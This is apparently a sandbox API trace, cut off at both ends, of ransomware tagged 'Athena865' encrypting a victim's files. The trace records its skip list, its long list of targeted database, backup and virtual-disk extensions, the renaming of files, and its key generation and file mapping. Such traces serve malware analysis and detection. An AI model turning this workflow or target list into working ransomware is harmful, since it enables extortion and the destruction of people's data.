your files.exe"), bFailIfExists=1) returned 1 [0102.219] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7645c6e0, ftCreationTime.dwHighDateTime=0x1d4cc63, ftLastAccessTime.dwLowDateTime=0xa6736ca0, ftLastAccessTime.dwHighDateTime=0x1d4ce43, ftLastWriteTime.dwLowDateTime=0xa6736ca0, ftLastWriteTime.dwHighDateTime=0x1d4ce43, nFileSizeHigh=0x0, nFileSizeLow=0xdabf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UmS8qbj.mp3", cAlternateFileName="")) returned 1 [0102.219] lstrcmpiW (lpString1="UmS8qbj.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.219] lstrcmpiW (lpString1="UmS8qbj.mp3", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.219] lstrcmpiW (lpString1="UmS8qbj.mp3", lpString2=".") returned 1 [0102.219] lstrcmpiW (lpString1="UmS8qbj.mp3", lpString2="..") returned 1 [0102.219] lstrcmpiW (lpString1="UmS8qbj.mp3", lpString2="windows") returned -1 [0102.219] lstrcmpiW (lpString1="UmS8qbj.mp3", lpString2="bootmgr") returned 1 [0102.219] lstrcmpiW (lpString1="UmS8qbj.mp3", lpString2="temp") returned 1 [0102.219] lstrcmpiW (lpString1="UmS8qbj.mp3", lpString2="pagefile.sys") returned 1 [0102.219] lstrcmpiW (lpString1="UmS8qbj.mp3", lpString2="boot") returned 1 [0102.219] lstrcmpiW (lpString1="UmS8qbj.mp3", lpString2="ids.txt") returned 1 [0102.219] lstrcmpiW (lpString1="UmS8qbj.mp3", lpString2="ntuser.dat") returned 1 [0102.219] lstrcmpiW (lpString1="UmS8qbj.mp3", lpString2="perflogs") returned 1 [0102.219] lstrcmpiW (lpString1="UmS8qbj.mp3", lpString2="MSBuild") returned 1 [0102.219] lstrlenW (lpString="UmS8qbj.mp3") returned 11 [0102.219] lstrcpyW (in: lpString1=0x241e8be, lpString2="UmS8qbj.mp3" | out: lpString1="UmS8qbj.mp3") returned="UmS8qbj.mp3" [0102.219] lstrlenW (lpString="UmS8qbj.mp3") returned 11 [0102.219] lstrlenW (lpString="Athena865") returned 9 [0102.219] lstrcmpiW (lpString1="S8qbj.mp3", lpString2="Athena865") returned 1 [0102.220] lstrlenW (lpString=".dll") returned 4 [0102.220] lstrcmpiW (lpString1="UmS8qbj.mp3", lpString2=".dll") returned 1 [0102.220] lstrlenW (lpString=".lnk") returned 4 [0102.220] lstrcmpiW (lpString1="UmS8qbj.mp3", lpString2=".lnk") returned 1 [0102.220] lstrlenW (lpString=".ini") returned 4 [0102.220] lstrcmpiW (lpString1="UmS8qbj.mp3", lpString2=".ini") returned 1 [0102.220] lstrlenW (lpString=".sys") returned 4 [0102.220] lstrcmpiW (lpString1="UmS8qbj.mp3", lpString2=".sys") returned 1 [0102.220] lstrlenW (lpString="UmS8qbj.mp3") returned 11 [0102.220] lstrlenW (lpString="bak") returned 3 [0102.220] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1 [0102.220] lstrlenW (lpString="ba_") returned 3 [0102.220] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1 [0102.220] lstrlenW (lpString="dbb") returned 3 [0102.220] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1 [0102.220] lstrlenW (lpString="vmdk") returned 4 [0102.220] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1 [0102.220] lstrlenW (lpString="rar") returned 3 [0102.220] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1 [0102.220] lstrlenW (lpString="zip") returned 3 [0102.220] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1 [0102.220] lstrlenW (lpString="tgz") returned 3 [0102.220] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1 [0102.220] lstrlenW (lpString="vbox") returned 4 [0102.220] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1 [0102.220] lstrlenW (lpString="vdi") returned 3 [0102.220] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1 [0102.220] lstrlenW (lpString="vhd") returned 3 [0102.220] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1 [0102.220] lstrlenW (lpString="vhdx") returned 4 [0102.220] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1 [0102.220] lstrlenW (lpString="avhd") returned 4 [0102.220] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1 [0102.220] lstrlenW (lpString="db") returned 2 [0102.221] lstrcmpiW (lpString1="p3", lpString2="db") returned 1 [0102.221] lstrlenW (lpString="db2") returned 3 [0102.221] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1 [0102.221] lstrlenW (lpString="db3") returned 3 [0102.221] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1 [0102.221] lstrlenW (lpString="dbf") returned 3 [0102.221] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1 [0102.221] lstrlenW (lpString="mdf") returned 3 [0102.221] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1 [0102.221] lstrlenW (lpString="mdb") returned 3 [0102.221] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1 [0102.221] lstrlenW (lpString="sql") returned 3 [0102.221] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1 [0102.221] lstrlenW (lpString="sqlite") returned 6 [0102.221] lstrcmpiW (lpString1="bj.mp3", lpString2="sqlite") returned -1 [0102.221] lstrlenW (lpString="sqlite3") returned 7 [0102.221] lstrcmpiW (lpString1="qbj.mp3", lpString2="sqlite3") returned -1 [0102.221] lstrlenW (lpString="sqlitedb") returned 8 [0102.221] lstrcmpiW (lpString1="8qbj.mp3", lpString2="sqlitedb") returned -1 [0102.221] lstrlenW (lpString="xml") returned 3 [0102.221] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1 [0102.221] lstrlenW (lpString="$er") returned 3 [0102.221] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1 [0102.221] lstrlenW (lpString="4dd") returned 3 [0102.221] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1 [0102.221] lstrlenW (lpString="4dl") returned 3 [0102.221] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1 [0102.221] lstrlenW (lpString="^^^") returned 3 [0102.221] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1 [0102.221] lstrlenW (lpString="abs") returned 3 [0102.221] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1 [0102.221] lstrlenW (lpString="abx") returned 3 [0102.221] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1 [0102.221] lstrlenW (lpString="accdb") returned 5 [0102.222] lstrcmpiW (lpString1="j.mp3", lpString2="accdb") returned 1 [0102.222] lstrlenW (lpString="accdc") returned 5 [0102.222] lstrcmpiW (lpString1="j.mp3", lpString2="accdc") returned 1 [0102.222] lstrlenW (lpString="accde") returned 5 [0102.222] lstrcmpiW (lpString1="j.mp3", lpString2="accde") returned 1 [0102.222] lstrlenW (lpString="accdr") returned 5 [0102.222] lstrcmpiW (lpString1="j.mp3", lpString2="accdr") returned 1 [0102.222] lstrlenW (lpString="accdt") returned 5 [0102.222] lstrcmpiW (lpString1="j.mp3", lpString2="accdt") returned 1 [0102.222] lstrlenW (lpString="accdw") returned 5 [0102.222] lstrcmpiW (lpString1="j.mp3", lpString2="accdw") returned 1 [0102.222] lstrlenW (lpString="accft") returned 5 [0102.222] lstrcmpiW (lpString1="j.mp3", lpString2="accft") returned 1 [0102.222] lstrlenW (lpString="adb") returned 3 [0102.222] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0102.222] lstrlenW (lpString="adb") returned 3 [0102.222] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0102.222] lstrlenW (lpString="ade") returned 3 [0102.222] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1 [0102.222] lstrlenW (lpString="adf") returned 3 [0102.222] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1 [0102.222] lstrlenW (lpString="adn") returned 3 [0102.222] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1 [0102.222] lstrlenW (lpString="adp") returned 3 [0102.222] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1 [0102.222] lstrlenW (lpString="alf") returned 3 [0102.222] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1 [0102.222] lstrlenW (lpString="ask") returned 3 [0102.222] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1 [0102.222] lstrlenW (lpString="btr") returned 3 [0102.222] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1 [0102.222] lstrlenW (lpString="cat") returned 3 [0102.222] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1 [0102.222] lstrlenW (lpString="cdb") returned 3 [0102.223] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1 [0102.223] lstrlenW (lpString="ckp") returned 3 [0102.223] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1 [0102.223] lstrlenW (lpString="cma") returned 3 [0102.223] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1 [0102.223] lstrlenW (lpString="cpd") returned 3 [0102.223] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1 [0102.223] lstrlenW (lpString="dacpac") returned 6 [0102.223] lstrcmpiW (lpString1="bj.mp3", lpString2="dacpac") returned -1 [0102.223] lstrlenW (lpString="dad") returned 3 [0102.223] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1 [0102.223] lstrlenW (lpString="dadiagrams") returned 10 [0102.223] lstrcmpiW (lpString1="mS8qbj.mp3", lpString2="dadiagrams") returned 1 [0102.223] lstrlenW (lpString="daschema") returned 8 [0102.223] lstrcmpiW (lpString1="8qbj.mp3", lpString2="daschema") returned -1 [0102.223] lstrlenW (lpString="db-journal") returned 10 [0102.223] lstrcmpiW (lpString1="mS8qbj.mp3", lpString2="db-journal") returned 1 [0102.223] lstrlenW (lpString="db-shm") returned 6 [0102.223] lstrcmpiW (lpString1="bj.mp3", lpString2="db-shm") returned -1 [0102.223] lstrlenW (lpString="db-wal") returned 6 [0102.223] lstrcmpiW (lpString1="bj.mp3", lpString2="db-wal") returned -1 [0102.223] lstrlenW (lpString="dbc") returned 3 [0102.223] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1 [0102.223] lstrlenW (lpString="dbs") returned 3 [0102.223] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1 [0102.223] lstrlenW (lpString="dbt") returned 3 [0102.223] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1 [0102.223] lstrlenW (lpString="dbv") returned 3 [0102.223] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1 [0102.223] lstrlenW (lpString="dbx") returned 3 [0102.223] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1 [0102.223] lstrlenW (lpString="dcb") returned 3 [0102.223] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1 [0102.224] lstrlenW (lpString="dct") returned 3 [0102.224] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1 [0102.224] lstrlenW (lpString="dcx") returned 3 [0102.224] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1 [0102.224] lstrlenW (lpString="ddl") returned 3 [0102.224] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1 [0102.224] lstrlenW (lpString="dlis") returned 4 [0102.224] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1 [0102.224] lstrlenW (lpString="dp1") returned 3 [0102.224] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1 [0102.224] lstrlenW (lpString="dqy") returned 3 [0102.224] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1 [0102.224] lstrlenW (lpString="dsk") returned 3 [0102.224] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1 [0102.224] lstrlenW (lpString="dsn") returned 3 [0102.224] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1 [0102.224] lstrlenW (lpString="dtsx") returned 4 [0102.224] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1 [0102.224] lstrlenW (lpString="dxl") returned 3 [0102.224] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1 [0102.224] lstrlenW (lpString="eco") returned 3 [0102.224] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1 [0102.224] lstrlenW (lpString="ecx") returned 3 [0102.224] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1 [0102.224] lstrlenW (lpString="edb") returned 3 [0102.224] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1 [0102.224] lstrlenW (lpString="epim") returned 4 [0102.224] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1 [0102.224] lstrlenW (lpString="fcd") returned 3 [0102.224] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1 [0102.224] lstrlenW (lpString="fdb") returned 3 [0102.224] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1 [0102.224] lstrlenW (lpString="fic") returned 3 [0102.224] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1 [0102.225] lstrlenW (lpString="flexolibrary") returned 12 [0102.225] lstrlenW (lpString="fm5") returned 3 [0102.225] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1 [0102.225] lstrlenW (lpString="fmp") returned 3 [0102.225] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1 [0102.225] lstrlenW (lpString="fmp12") returned 5 [0102.225] lstrcmpiW (lpString1="j.mp3", lpString2="fmp12") returned 1 [0102.225] lstrlenW (lpString="fmpsl") returned 5 [0102.225] lstrcmpiW (lpString1="j.mp3", lpString2="fmpsl") returned 1 [0102.225] lstrlenW (lpString="fol") returned 3 [0102.225] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1 [0102.225] lstrlenW (lpString="fp3") returned 3 [0102.225] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1 [0102.225] lstrlenW (lpString="fp4") returned 3 [0102.225] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1 [0102.225] lstrlenW (lpString="fp5") returned 3 [0102.225] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1 [0102.225] lstrlenW (lpString="fp7") returned 3 [0102.225] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1 [0102.225] lstrlenW (lpString="fpt") returned 3 [0102.225] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1 [0102.225] lstrlenW (lpString="frm") returned 3 [0102.225] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1 [0102.225] lstrlenW (lpString="gdb") returned 3 [0102.225] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1 [0102.225] lstrlenW (lpString="gdb") returned 3 [0102.225] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1 [0102.225] lstrlenW (lpString="grdb") returned 4 [0102.225] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1 [0102.225] lstrlenW (lpString="gwi") returned 3 [0102.225] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1 [0102.225] lstrlenW (lpString="hdb") returned 3 [0102.225] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1 [0102.225] lstrlenW (lpString="his") returned 3 [0102.226] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1 [0102.226] lstrlenW (lpString="ib") returned 2 [0102.226] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1 [0102.226] lstrlenW (lpString="idb") returned 3 [0102.226] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1 [0102.226] lstrlenW (lpString="ihx") returned 3 [0102.226] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1 [0102.226] lstrlenW (lpString="itdb") returned 4 [0102.226] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1 [0102.226] lstrlenW (lpString="itw") returned 3 [0102.226] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1 [0102.226] lstrlenW (lpString="jet") returned 3 [0102.226] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1 [0102.226] lstrlenW (lpString="jtx") returned 3 [0102.226] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1 [0102.226] lstrlenW (lpString="kdb") returned 3 [0102.226] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1 [0102.226] lstrlenW (lpString="kexi") returned 4 [0102.226] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1 [0102.226] lstrlenW (lpString="kexic") returned 5 [0102.226] lstrcmpiW (lpString1="j.mp3", lpString2="kexic") returned -1 [0102.226] lstrlenW (lpString="kexis") returned 5 [0102.226] lstrcmpiW (lpString1="j.mp3", lpString2="kexis") returned -1 [0102.226] lstrlenW (lpString="lgc") returned 3 [0102.226] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1 [0102.226] lstrlenW (lpString="lwx") returned 3 [0102.226] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1 [0102.226] lstrlenW (lpString="maf") returned 3 [0102.226] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1 [0102.226] lstrlenW (lpString="maq") returned 3 [0102.226] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1 [0102.226] lstrlenW (lpString="mar") returned 3 [0102.226] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1 [0102.227] lstrlenW (lpString="marshal") returned 7 [0102.227] lstrcmpiW (lpString1="qbj.mp3", lpString2="marshal") returned 1 [0102.227] lstrlenW (lpString="mas") returned 3 [0102.227] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1 [0102.227] lstrlenW (lpString="mav") returned 3 [0102.227] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1 [0102.227] lstrlenW (lpString="maw") returned 3 [0102.227] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1 [0102.227] lstrlenW (lpString="mdbhtml") returned 7 [0102.227] lstrcmpiW (lpString1="qbj.mp3", lpString2="mdbhtml") returned 1 [0102.227] lstrlenW (lpString="mdn") returned 3 [0102.227] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1 [0102.227] lstrlenW (lpString="mdt") returned 3 [0102.227] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1 [0102.227] lstrlenW (lpString="mfd") returned 3 [0102.227] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1 [0102.227] lstrlenW (lpString="mpd") returned 3 [0102.227] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1 [0102.227] lstrlenW (lpString="mrg") returned 3 [0102.227] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1 [0102.227] lstrlenW (lpString="mud") returned 3 [0102.227] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1 [0102.227] lstrlenW (lpString="mwb") returned 3 [0102.227] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1 [0102.227] lstrlenW (lpString="myd") returned 3 [0102.227] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1 [0102.227] lstrlenW (lpString="ndf") returned 3 [0102.227] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1 [0102.227] lstrlenW (lpString="nnt") returned 3 [0102.227] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1 [0102.227] lstrlenW (lpString="nrmlib") returned 6 [0102.227] lstrcmpiW (lpString1="bj.mp3", lpString2="nrmlib") returned -1 [0102.227] lstrlenW (lpString="ns2") returned 3 [0102.227] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1 [0102.228] lstrlenW (lpString="ns3") returned 3 [0102.228] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1 [0102.228] lstrlenW (lpString="ns4") returned 3 [0102.228] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1 [0102.228] lstrlenW (lpString="nsf") returned 3 [0102.228] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1 [0102.228] lstrlenW (lpString="nv") returned 2 [0102.228] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1 [0102.228] lstrlenW (lpString="nv2") returned 3 [0102.228] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1 [0102.228] lstrlenW (lpString="nwdb") returned 4 [0102.228] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1 [0102.228] lstrlenW (lpString="nyf") returned 3 [0102.228] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1 [0102.228] lstrlenW (lpString="odb") returned 3 [0102.228] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1 [0102.228] lstrlenW (lpString="odb") returned 3 [0102.228] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1 [0102.228] lstrlenW (lpString="oqy") returned 3 [0102.228] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1 [0102.228] lstrlenW (lpString="ora") returned 3 [0102.228] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1 [0102.228] lstrlenW (lpString="orx") returned 3 [0102.228] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1 [0102.228] lstrlenW (lpString="owc") returned 3 [0102.228] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1 [0102.228] lstrlenW (lpString="p96") returned 3 [0102.228] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1 [0102.228] lstrlenW (lpString="p97") returned 3 [0102.228] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1 [0102.228] lstrlenW (lpString="pan") returned 3 [0102.228] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1 [0102.228] lstrlenW (lpString="pdb") returned 3 [0102.229] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1 [0102.229] lstrlenW (lpString="pdm") returned 3 [0102.229] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1 [0102.229] lstrlenW (lpString="pnz") returned 3 [0102.229] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1 [0102.229] lstrlenW (lpString="qry") returned 3 [0102.229] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1 [0102.229] lstrlenW (lpString="qvd") returned 3 [0102.229] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1 [0102.229] lstrlenW (lpString="rbf") returned 3 [0102.229] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1 [0102.229] lstrlenW (lpString="rctd") returned 4 [0102.229] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1 [0102.229] lstrlenW (lpString="rod") returned 3 [0102.229] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1 [0102.229] lstrlenW (lpString="rodx") returned 4 [0102.229] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1 [0102.229] lstrlenW (lpString="rpd") returned 3 [0102.229] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1 [0102.229] lstrlenW (lpString="rsd") returned 3 [0102.229] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1 [0102.229] lstrlenW (lpString="sas7bdat") returned 8 [0102.229] lstrcmpiW (lpString1="8qbj.mp3", lpString2="sas7bdat") returned -1 [0102.229] lstrlenW (lpString="sbf") returned 3 [0102.229] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1 [0102.229] lstrlenW (lpString="scx") returned 3 [0102.229] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1 [0102.229] lstrlenW (lpString="sdb") returned 3 [0102.229] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1 [0102.229] lstrlenW (lpString="sdc") returned 3 [0102.229] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1 [0102.229] lstrlenW (lpString="sdf") returned 3 [0102.230] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1 [0102.230] lstrlenW (lpString="sis") returned 3 [0102.230] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1 [0102.230] lstrlenW (lpString="spq") returned 3 [0102.230] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1 [0102.230] lstrlenW (lpString="te") returned 2 [0102.230] lstrcmpiW (lpString1="p3", lpString2="te") returned -1 [0102.230] lstrlenW (lpString="teacher") returned 7 [0102.230] lstrcmpiW (lpString1="qbj.mp3", lpString2="teacher") returned -1 [0102.230] lstrlenW (lpString="tmd") returned 3 [0102.230] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1 [0102.230] lstrlenW (lpString="tps") returned 3 [0102.230] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1 [0102.230] lstrlenW (lpString="trc") returned 3 [0102.230] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1 [0102.230] lstrlenW (lpString="trc") returned 3 [0102.230] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1 [0102.230] lstrlenW (lpString="trm") returned 3 [0102.230] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1 [0102.230] lstrlenW (lpString="udb") returned 3 [0102.230] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1 [0102.230] lstrlenW (lpString="udl") returned 3 [0102.230] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1 [0102.230] lstrlenW (lpString="usr") returned 3 [0102.230] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1 [0102.230] lstrlenW (lpString="v12") returned 3 [0102.230] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1 [0102.230] lstrlenW (lpString="vis") returned 3 [0102.230] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1 [0102.230] lstrlenW (lpString="vpd") returned 3 [0102.230] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1 [0102.230] lstrlenW (lpString="vvv") returned 3 [0102.230] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1 [0102.231] lstrlenW (lpString="wdb") returned 3 [0102.231] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1 [0102.231] lstrlenW (lpString="wmdb") returned 4 [0102.231] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1 [0102.231] lstrlenW (lpString="wrk") returned 3 [0102.231] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1 [0102.231] lstrlenW (lpString="xdb") returned 3 [0102.231] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1 [0102.231] lstrlenW (lpString="xld") returned 3 [0102.231] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1 [0102.231] lstrlenW (lpString="xmlff") returned 5 [0102.231] lstrcmpiW (lpString1="j.mp3", lpString2="xmlff") returned -1 [0102.231] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\UmS8qbj.mp3.Athena865") returned 80 [0102.231] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\UmS8qbj.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\cqaju\\ums8qbj.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\UmS8qbj.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\cqaju\\ums8qbj.mp3.athena865"), dwFlags=0x1) returned 1 [0102.232] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\CqajU\\UmS8qbj.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\cqaju\\ums8qbj.mp3.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.232] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=55999) returned 1 [0102.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.232] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.233] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.233] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.233] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xddc0, lpName=0x0) returned 0x17c [0102.233] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xddc0) returned 0x100000 [0102.235] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.236] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.236] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: 